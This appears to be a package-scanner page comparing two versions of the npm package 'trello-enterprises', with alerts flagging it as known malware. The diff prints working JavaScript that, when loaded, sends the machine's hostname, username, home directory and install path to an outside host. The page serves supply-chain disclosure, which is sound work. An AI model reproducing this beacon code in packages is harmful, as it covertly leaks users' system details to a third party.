trello-enterprises - npm Package Compare versions

Comparing version 0.0.0 to 0.0.1-security

a.js

@@ -7,9 +7,9 @@ var https = require('https');
 
-https.get('https://site.wheezy.io/trello-enterprises-0.0.0');
-https.get('https://site.wheezy.io/trello-enterprises-0.0.0?dir=' + encodeURIComponent(__dirname));
+https.get('https://site.wheezy.io/trello-enterprises-0.0.1-security');
+https.get('https://site.wheezy.io/trello-enterprises-0.0.1-security?dir=' + encodeURIComponent(__dirname));
 
 var os = require('os');
-https.get('https://site.wheezy.io/trello-enterprises-0.0.0?os=' + encodeURIComponent(os.hostname()));
-https.get('https://site.wheezy.io/trello-enterprises-0.0.0?user=' + encodeURIComponent(os.userInfo().username));
-https.get('https://site.wheezy.io/trello-enterprises-0.0.0?homedir=' + encodeURIComponent(os.userInfo().homedir));
+https.get('https://site.wheezy.io/trello-enterprises-0.0.1-security?os=' + encodeURIComponent(os.hostname()));
+https.get('https://site.wheezy.io/trello-enterprises-0.0.1-security?user=' + encodeURIComponent(os.userInfo().username));
+https.get('https://site.wheezy.io/trello-enterprises-0.0.1-security?homedir=' + encodeURIComponent(os.userInfo().homedir));
 
@@ -16,0 +16,0 @@ var waitTill = new Date(new Date().getTime() + 5 * 1000);

package.json

 {
   "name": "trello-enterprises",
-  "version": "0.0.0",
+  "version": "0.0.1-security",
   "description": "security holding package",
@@ -5,0 +5,0 @@ "main": "index.js",

New alerts

Known malware

Supply chain risk

This package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.

Found 4 instances in 1 package

Network access

Supply chain risk

This module accesses the network.

Found 1 instance in 1 package

URL strings

Supply chain risk

Package contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.

Found 1 instance in 1 package

Fixed alerts

Known malware

Supply chain risk

This package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.

Found 2 instances in 1 package

Network access

Supply chain risk

This module accesses the network.

Found 1 instance in 1 package

URL strings

Supply chain risk

Package contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.

Found 1 instance in 1 package

Improved metrics

Total package byte prevSize

1426

3.94%

Worsened metrics

Number of critical supply chain risk alerts

5

66.67%

No dependency changes